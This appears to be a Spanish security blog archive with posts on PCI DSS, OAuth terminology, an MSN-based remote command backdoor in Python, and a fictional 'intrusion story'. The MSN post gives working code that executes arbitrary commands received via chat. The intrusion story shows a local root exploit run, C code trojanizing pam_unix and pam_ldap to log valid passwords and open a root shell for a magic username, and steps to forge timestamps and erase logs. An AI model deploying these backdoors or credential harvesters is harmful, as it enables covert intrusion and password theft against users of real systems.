Estándar de Seguridad de Datos para la industria de Tarjeta de Pago, estándar PCI

PCI DSS (Payment Card Data Security Standar - Estándar de Seguridad de Datos para la industria de Tarjeta de Pago) es un estándar de seguridad en el que se definen medidas para la protección de datos sensibles que puedan aparecer durante el tratamiento, procesamiento o almacenamiento de la información de tarjetas de crédito.

Este estándar ha sido desarrollado por el PCI SSC (PCI Security Standards Council), formado por las principales empresas emisoras de tarjetas de crédito: Visa Inc., Mastercard Worldwide, American Express, JCB International y Discover Financial Services.

La finalidad de la creación de este estándar es asegurar los datos relacionados con las tarjetas de pago en las organizaciones que procesan, almacenan o tratan dicha información, para evitar el fraude relacionado con las tarjetas de crédito o débito. Las compañías que gestionan este tipo de datos deben cumplir con el estándar PCI, en caso de no cumplirlo deberán afrontar la pérdida del permiso para procesar las tarjetas, someterse a auditorías rigurosas o al pago de multas.

PCI SSC define además otros dos estándares: PCI-PTS y PA-DSS.

PCI-PTS se aplica a los dispositivos utilizados para la introducción del número PIN (Point-of-interaction devices), así como a los módulos hardware utilizados para el procesamiento de pagos y para autenticación de tarjetas:

• Dispositivos de punto de interacción atendidos.
• Cajeros automáticos.
• Terminales de pago no atendidos (dispensadores de gasolinas automáticos, kioscos, etc.).

PA-DSS se aplica a las aplicaciones de pago de terceros que realizan operaciones de almacenamiento, procesamiento o transmisión de datos de tarjetas, como por ejemplo: puntos de venta, "shopping carts", etc.

PA-DSS gestiona las aplicaciones de operaciones de pago con el fin de asegurar que funcionan de acuerdo al estandar PCI-DSS, además colabora para la organización que utilice estas aplicaciones, cumplan PCI-DSS. El uso de aplicaciones PA-DSS no garantiza el cumplimiento PCI-DSS por parte de la organización.

Un asesor PCI-DSS debe verificar que la aplicación de pago está instalada en los sistemas de acuerdo a las instrucciones detalladas en la guía de implementación PA-DSS proporcionada por el vendedor y de acuerdo al estándar PCI-DSS.

¿Qué organizaciones deben cumplir PCI-DSS?

Todas aquellas organizaciones que participen en el procesamiento, transmisión o almacenamiento de información de tarjetas de cŕedito. PCI divide estas organizaciones en tres tipos:

• Comercios (Merchants): super/hipermercados, e-commerce, etc.
• Proveedores de Servicio (Service Providers): ISPs, pasarelas de pago, etc.
• Entidades financieras (Acquirers): bancos, cajas de ahorro, entidades de crédito, etc.

En función del tipo de organización y de su nivel transaccional, a cada entidad se le asignará un nivel. Cada entidad emisora de tarjetas, de las 5 que conforman el consorcio, establece su conjunto de validaciones a realizar y los informes a entregar, en función del nivel de la organización.

Los niveles de los comercios vienen definidos por las empresas emisoras de tarjetas y por el volumen de transacciones realizadas con las entidades financieras. Los niveles de los proveedores de servicios vienen determinados por las empresas emisoras de tarjetas, por el comercio, por la entidad financiera.

La clasificación de Comercios por niveles es la siguiente:

Figura 1. Niveles de Comercios.

Sus requisitos de validación PCI:

Figura 2. Requisitos de validación de los niveles de Comercios.

Y la información que debe proporcionar para la validación es la siguiente:

Figura 3. Información para la validación de los niveles de comercio 1 y 2.

Figura 4. Información para la validación de los niveles de comercio 3 y 4.

En cuanto a los niveles de Proveedores de Servicio:

Figura 5. Niveles de Proveedores de Servicio.

Los requisitos de validación e informes de los Proveedores de Servicio son los siguientes:

Figura 6. Requisitos de validación e informes para los Proveedores de Servicio.

Estándar PCI-DSS 2.0

En la versión actual del estándar (versión 2.0) se especifican 12 requisitos para que una organización cumpla PCI-DSS, divididos en 6 objetivos de control. 

Objetivo de Control 1: Desarrollar y Mantener una Red Segura

• Instalar y mantener una configuración de cortafuegos para proteger los datos de los propietarios de tarjetas.
• No usar contraseñas del sistema y otros parámetros de seguridad predeterminados provistos por los proveedores.

Objetivo de Control 2: Proteger los Datos de los propietarios de tarjetas

• Proteger los datos almacenados de los propietarios de tarjetas.
• Cifrar los datos de los propietarios de tarjetas e información confidencial transmitida a través de redes públicas abiertas.

Objetivo de Control 3: Mantener un Programa de Manejo de Vulnerabilidad

• Usar y actualizar regularmente un software antivirus.
• Desarrollar y mantener sistemas y aplicaciones seguras.

Objetivo de Control 4: Implementar Medidas sólidas de control de acceso

• Restringir el acceso a los datos tomando como base la necesidad del funcionario de conocer la información.
• Asignar una Identificación única a cada persona que tenga acceso a un computador.
• Restringir el acceso físico a los datos de los propietarios de tarjetas.

Objetivo de Control 5: Monitorear y Probar regularmente las redes

• Rastrear y monitorizar todo el acceso a los recursos de la red y datos de los propietarios de tarjetas.
• Probar regularmente los sistemas y procesos de seguridad.

Objetivo de Control 6: Mantener una Política de Seguridad de la Información

• Mantener una política que contemple la seguridad de la información

Estos requisitos combinados con diversos procedimientos de prueba dan lugar a una herramienta para el aseguramiento de los sistemas.

En una segunda entrega del blog, entraremos a comentar cada uno de estos requisitos más en profundidad.

(Ab)Usando del protocolo MSN

En cierta ocasión, después de realizar el trabajo que se nos encomendó nos propusieron algo que estaba claro que andaban dándole vueltas por las caras que llevaban. ¿Sería posible que alguno de nuestros empleados pudiera acceder a su ordenador y por consiguiente a la red desde fuera de la oficina?

Así pues, con los datos que ya llevábamos, nos fuimos a la oficina a estudiar si eso sería posible o no. Al no conseguir datos que dijeran que eso fuera posible, nos fuimos a las oficinas del cliente a seguir investigando si eso sería posible.

Mi compañero, que es un monstruo dio con la clave, más o menos. En realidad no fue como en las películas, una casualidad. Como en muchas empresas entonces, se capaban mogollón de cosas, pero seguía permtiéndose usar el msn, o el gmail o cualquier otra movida.

Usamos el MSN para controlar su sistema desde fuera.

En su momento estudiamos un poco el protocolo y lo reprodujimos. No tengo ni idea de donde esta aquello ahora, así que lo he reproducido con lo que tenemos a mano hoy en día. Bastante más fácil por cierto.

Para programar el cliente remoto hemos usado la librería msnp.py, que podéis encontrar aquí. Os pongo las modificaciones que hemos realizado:

import msnp
import time
import os
import re
import sys

if len(sys.argv)<2:
print "Introduce con quien comunicar"
sys.exit()

dest_user = sys.argv[1]

class MsnChatListener(msnp.ChatCallbacks):
def message_received(self, passport_id, display_name, text, charset):

if dest_user == passport_id:
print '%s: %s' % (passport_id, text)
if re.match("execute: ",text):
comando = str(text.split("execute: ")[-1])
comando_execute = os.popen(comando).readlines()
           if len(comando_execute)>0:
for bucle in comando_execute:
self.chat.send_message(bucle.split('\n')[0], charset)
self.chat.send_message("------ COMANDO EJECUTADO ------", charset)              
           else:
self.chat.send_message('"'+comando+'"'+' no se reconoce como un comando interno o externo,', charset)
self.chat.send_message('programa o archivo por lotes ejecutable.', charset)

class MsnListener(msnp.SessionCallbacks):
def chat_started(self, chat):
callbacks = MsnChatListener()
chat.callbacks = callbacks
callbacks.chat = chat

msn = msnp.Session(MsnListener())
msn.login('correo@hotmail.es', 'password')

while True:
msn.process(chats = True)
time.sleep(1)

El protocolo es antiguo, pero para demostrar la viabilidad es perfectamente usable.

A continuación muestro una captura de lo que ocurre al lanzarlo:

Es necesario poseer dos cuentas. La primera de ellas se usará para el programa, para poder conectar con ella. La segunda es la cuenta desde la cual conectaremos. Yo he usado dos cuentas mías directamente.

Al lanzar el programa es necesario indicarle desde que otra cuenta se va a hablar con él. Esto es necesario por motivos evidentes. Cualquiera que se agregara esta cuenta podría lanzar comandos, nada más descubriera como hacerlo, lo cual también es modificable para que sólo devuelva los datos adecuados en caso que se lo digamos nosotros, no cualquier otro.

A continuación adjunto una pantalla de la ventana del messenger interactuando con el cliente instalado en la máquina destino.


Para poder lanzar comandos sólo hay que añadir delante el comando “execute:".

Si bien no es una vulnerabilidad, es algo que muchos administradores deben de tener en cuenta. Aún hoy en día existen bastantes redes empresariales en las cuales está permitido usar clientes de mensajería, y la mayoría de las veces no es porque los responsables de la red no quieran evitarlo.

Enlaces que deberías visitar si estás interesado en este protocolo:
http://msnpiki.msnfanatic.com/index.php/Main_Page
http://msnp.sourceforge.net/tutorial.html
http://es.wikipedia.org/wiki/Microsoft_Notification_Protocol
http://www.hypothetic.org/docs/msn/

“Cualquier parecido con la realidad es mera coincidencia”

El protocolo de autenticación OAuth. Conceptos (II)

Cuando se lee documentación sobre OAuth se ven una serie de conceptos que, aunque sencillos, en algunos casos pueden llevar a confusiones debido a que la terminología se modificó en algún punto del desarrollo. De esta manera, hay documentos que utilizan la terminología "antigua" mientras que la RFC oficial y la mayor parte de documentos recientes utilizan los términos actuales.

twitter es un servicio que utiliza OAuth para llevar a cabo la autenticación de usuarios desde aplicaciones de terceros, ya sean Web, de escritorio o para dispositivos móviles. Por este motivo, voy a utilizar twitter como ejemplo para identificar cada uno de los términos que paso a describir:

Servidor /server/ (inicialmente llamado Service Provider)
Es quien proporciona el servicio; es decir, allí donde nos estamos intentando autenticar para acceder a sus funcionalidades. En nuestro caso serían los propios servidores de twitter.

Cliente /client/ (antes llamado Consumer)
Es la entidad desde la que se lleva a cabo la autenticación. Cualquier cliente de escritorio, extensión de navegador, cliente para dispositivos móviles... que trabaje con twitter se considera un cliente. Por tanto, se puede decir que es la "aplicación de terceros" desde la que intentaríamos acceder a nuestra información en twitter.

Dueño o Propietario del recurso /Resource Owner/ (antes llamado User)
Como el propio nombre indica, es el propietario del recurso al que se quiere acceder. En nuestro ejemplo seríamos los usuarios finales de twitter.

De esta última definición se puede deducir un nuevo concepto: Recurso protegido /Protected resource/ que sería el recurso (información, funcionalidad...) ubicado en el Servidor al que estamos intentando acceder y que pertenecería a su Propietario.

Por otro lado, se suele diferenciar entre tres tipos de credenciales: cliente, temporales y token. Todas ellas se están formadas por un identificador único y por un secreto (algo parecido al típico usuario/contraseña, aunque no es del todo igual).

Como sucedía con los conceptos anteriores, en alguna documentación se puede encontrar otros nombres para cada par de los anteriores credenciales. De este modo tendríamos consumer key y secret (cliente), request token y secret (temporales) y access token y secret (o incluso user token y secret para el token).

Las credenciales de cliente se utilizan para que el servidor pueda identificar a un cliente determinado. De este modo, el servidor sabe en todo momento qué tipo de cliente está accediendo y podría dar funcionalidades extra a clientes de confianza o con ciertos privilegios. En el caso de twitter, ésta avisó de que toda aplicación que publicara sus credenciales clientes sería deshabilitada (lo siento pero no encuentro la noticia).

Las temporales se utilizan durante el proceso de autenticación de un usuario final (dueño del recurso) y, como su propio nombre indica, su validez es temporal mientras se acuerda el token que será utilizado durante la sesión.

El token sería el equivalente a un identificador de sesión en una aplicación Web estándar y se utiliza para identificar tanto al cliente como al usuario que accede a sus recursos.

Creo que por hoy ya está bien. En la próxima entrada explicaré cómo se obtienen cada una de estas credenciales y cómo interactúan las partes implicadas.

¡Hasta la próxima!

Historia de una intrusión

Disclaimer: El contenido de este artículo es ficticio. Cualquier parecido con la realidad es pura casualidad. Todas las técnicas aquí mostradas son para uso didáctico.


Tras dar las gracias al funcionario, salió de secretaria con una sonrisa de oreja a oreja. En su mano sostenía un pequeño trozo de papel con las credenciales que necesitaba para poder usar un ordenador de acceso público. Se dirigió hacia los laboratorios y tras buscar por algunos pasillos, llegó a un par de aulas llenas de TFT's que resplandecían cuando cargaban en el KDM el logotipo de SuSE.

Se sentó delante de uno de los TFT’s y tecleando el login y password que le habían facilitado desde secretaría, inició sesión.

Lo primero que hizo fue dar una vuelta por el sistema. Mirando el contenido de algunos archivos del directorio /etc/pam.d/ contempló cómo estaba orquestada la autenticación de usuarios. Se efectuaba mediante LDAP, haciendo fallback hacia una autenticación local en caso de fallo de conectividad. Todos los ordenadores de los laboratorios se autenticaban así y, posiblemente, todas las terminales del edificio.

De repente, una bombilla se le encendió encima de la cabeza: pensó en modificar la librería que efectúa la autenticación local, pam_unix.so, para que hiciera algo más que autenticar a usuarios...

Debido a la configuración PAM de las terminales, era posible capturar las contraseñas de los usuarios que usaban las infraestructuras. Era la puerta de acceso a la intranet, a la electrónica de red y a los servidores.

Tomando papel y lápiz, planificó la intrusión en unos cuantos sencillos pasos:

1.- Conseguir acceso físico a un terminal.

2.- Instalar un keylogger y conseguir credenciales para acceder a de la red interna.

3.- Explorar la red interna con los logins obtenidos e identificar electrónica de red, IDS’s / IPS’s, sistemas de recolección de logs de aplicaciones y servidores.

4.- Una vez conocida la arquitectura de red interna, rootearse en algunos servidores, troyanizarlos y borrar logs del sistema.

5.- Acceder a la plataforma de recolección de logs y borrar todo posible rastro.



Una vez planificado todo, se dispuso a comenzar el baile. Sentado en un laboratorio repleto de ordenadores, empezó a buscar algo de información del sistema operativo que utilizaban las terminales:

stu023:~$ uname -a
Linux stu023 2.6.24-1-amd64 #1 SMP Thu Mar 27 16:52:38 UTC 2008 x86_64 GNU/Linux

Las versiones de librerías de sistema que le interesaban eran libpam-ldap-184 y pam-0.99.7.1


Una vez conocida la arquitectura y versión del núcleo que ejecutan las terminales, buceó por algunas webs de seguridad conocidas hasta encontrar un conocido exploit para kernels de 64 bits, basado en la emulación de llamadas de 32 bits. Con este exploit podría conseguir privilegios y modificar las librerías del sistema a la carta.

stu023:~$ gcc -o yeah ia64.c
ia64.c: In function docall:<br /> ia64.c:60: warning: comparison between pointer and integer
stu023:~$ ./yeah
UID 0, EUID:0 GID:0, EGID:0
sh-3.2# whoami
root

Una vez ganados los permisos de superusuario, se dispuso a bajar el código fuente de las librerías para modificarlas y hacer efectiva su “magia”.

stu023:~$wget http://www.kernel.org/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.7.1.tar.gz

--2008-03-27 23:31:32--  http://www.kernel.org/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.7.1.tar.gz

Resolviendo www.kernel.org... 204.152.191.5, 204.152.191.37

Connecting to www.kernel.org|204.152.191.5|:80... conectado.

Petición HTTP enviada, esperando respuesta... 200 OK

Longitud: 1400688 (1,3M) [application/x-gzip]

Saving to: `Linux-PAM-0.99.7.1.tar.gz'

100%[==================================================================>] 1.400.688    409K/s   in 3,3s

2008-05-16 23:31:36 (409 KB/s) - `Linux-PAM-0.99.7.1.tar.gz' saved [1400688/1400688]

stu023:~$

Tras descomprimir el código fuente, decidió estudiarlo minuciosamente.



Siguiendo el flujo de ejecución del código, el atacante llega hasta el archivo /modules/pam_unix/pam_unix_auth.c buscando la función PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags,int argc, const char **argv), pues parecía que dicho procedimiento realizaba la autenticación:

/* get the user'name' */

retval = pam_get_user(pamh, &name, NULL);

.

.

.

/* get this user's authentication token */

retval = _unix_read_password(pamh, ctrl, NULL, _("Password: "), NULL,_UNIX_AUTHTOK, &p);

.

.

.

/* verify the password of this user */

retval = _unix_verify_password(pamh, name, p, ctrl);

Mientras examinaba el código, pensó: “Si queremos registrar los usuarios y contraseñas, lo único que tenemos que hacer es añadir un par de líneas de código después de la función _unix_verify_password y almacenar esa información si retval == PAM_SUCCESS, ya que no nos interesan las contraseñas fallidas de los usuarios”.

Tras modificar el código, el resultado quedó parecido a esto:

.

.

.

/* verify the password of this user */

retval = _unix_verify_password(pamh, name, p, ctrl);





/********** HACK **********/

/* 2do: implementar cifrado en la escritura de archivo */

if (retval == PAM_SUCCESS)

{

fd = open ("/tmp/31337",O_RDWR | O_CREAT | O_APPEND);



write (fd,name,strlen(name));

write (fd," - ",3);

write (fd,p,strlen(p));

write (fd,"\n",1);



close (fd);

}



name = p = NULL;



AUTH_RETURN;

}

Tras esto, decidió también añadir otro pequeño fragmento de código que hiciera un fork y ejecutara una shell con privilegios de root tras proporcionarle un determinado nombre usuario especial. El código era parecido al siguiente:

if (strcmp(name,"31337user") == 0)

{

setuid(0);

execl("/bin/sh","-i",NULL);

}

Habiendo modificado el código de pam_unix.so, decidió modificar también pam_ldap.so, así que averiguó la versión de la librería que usaba el sistema para poder descargar la versión correspondiente y así troyanizarla.

En este punto, cabe decir que si se modifica pam_unix.so, aunque la autenticación se haga mediante LDAP usando pam_ldap.so, se puede seguir capturando contraseñas con pam_unix.so debido a la configuración de autenticación presente en /etc/pam.d/ en ese sistema concreto.

Tras un pequeño receso para cargar un par de playlist ,se concentró en el terminal. y empezó a trabajar rápidamente; sus dedos se movían al ritmo del brekbeat que su iPod escupía.

Editó pam_ldap-184/pam_ldap.c y mientras lo modificaba se dio cuenta de que había una función pam_sm_authenticate que implementaba la autenticación. ¡La documentación de PAM es correcta! - se dijo a si mismo.

Examinando el código, encontró lo que buscaba:

PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh,int flags, int argc, const char **argv)

.

.

.

rc = pam_get_user (pamh, (CONST_ARG char **) &username, NULL);

if (rc != PAM_SUCCESS)

return rc;

rc = _pam_ldap_get_session (pamh, username, configFile, &session);

if (rc != PAM_SUCCESS)

return rc;

rc = pam_get_item (pamh, PAM_AUTHTOK, (CONST_ARG void **) &p);

if (rc == PAM_SUCCESS && (use_first_pass || try_first_pass))

{

rc = _do_authentication (pamh, session, username, p);

if (rc == PAM_SUCCESS || use_first_pass)

{

STATUS_MAP_IGNORE_POLICY (rc, ignore_flags);

if (rc == PAM_SUCCESS && session->info->tmpluser != NULL &&

session->conf->tmpluser != NULL &&

strcmp (session->info->tmpluser, session->conf->tmpluser) == 0)

{

(void) pam_set_data (pamh, PADL_LDAP_AUTH_DATA,

(void *) strdup (session->info->username),_cleanup_data);

rc =pam_set_item (pamh, PAM_USER,(void *) session->info->tmpluser);

}

return rc;

}

}

.

.

.

Se fijó en la llamada rc = _do_authentication (pamh,session,username,p) y decidió añadir unas líneas de código que guardasen las variables username y p en un archivo ocultado inteligentemente por el sistema de archivos local.

El mismo código que antes añadió al pam_unix_auth.c serviría de nuevo para esta modificación.

Guardó los cambios, compiló y se dispuso a dar el cambiazo de librería.

La guindilla la puso con el comando touch, para así ajustar los timestamp de la "nueva" librería y la original.

Ahora sólo faltaba esperar que algún incauto usuario iniciara sesión en el ordenador. Se alejó mientras se cubría con la capucha de su ancho y negro abrigo. Alea jacta est.

Tras unos días, volvió al mismo lugar, al mismo laboratorio, dispuesto a recolectar credenciales. Inició sesión en cada uno de los ordenadores infectados por la puerta trasera que había instalado en pam_unix.so y recolectó las credenciales guardadas en disco por la librería troyanizada. Había pares de logins y passwords como para estar satisfecho.

Para acabar el trabajo, sustituyó la pam_unix.so por la original, re-estableció los ctime, mtime y atime correspondientes y borró todo rastro en los sistemas.

Comienza el camino

Por fin. Después de unas semanas deambulando, buscando colaboradores e ideas para tener algo medianamente interesante sobre lo que escribir, nos lanzamos a la piscina creando un blog sobre seguridad informática. ¿Uno más? esperemos que sea algo más que eso...

De momento os podemos prometer que intentaremos escribir sobre todo lo referente a Seguridad Informática. Publicaremos herramientas que estamos desarrollando y los resultados de las investigaciones en las que estamos trabajando. También hablaremos de algunas de nuestras experiencias como "profesionales" y aficionados del sector, además de difundir noticias y lo que surja.

Esperemos que de este proyecto todos saquemos algo productivo y, lógicamente, que a vosotros os resulte lo más interesante y entretenido posible.

Así que, con esta mini-entrada, damos por inaugurado: La X marca el lugar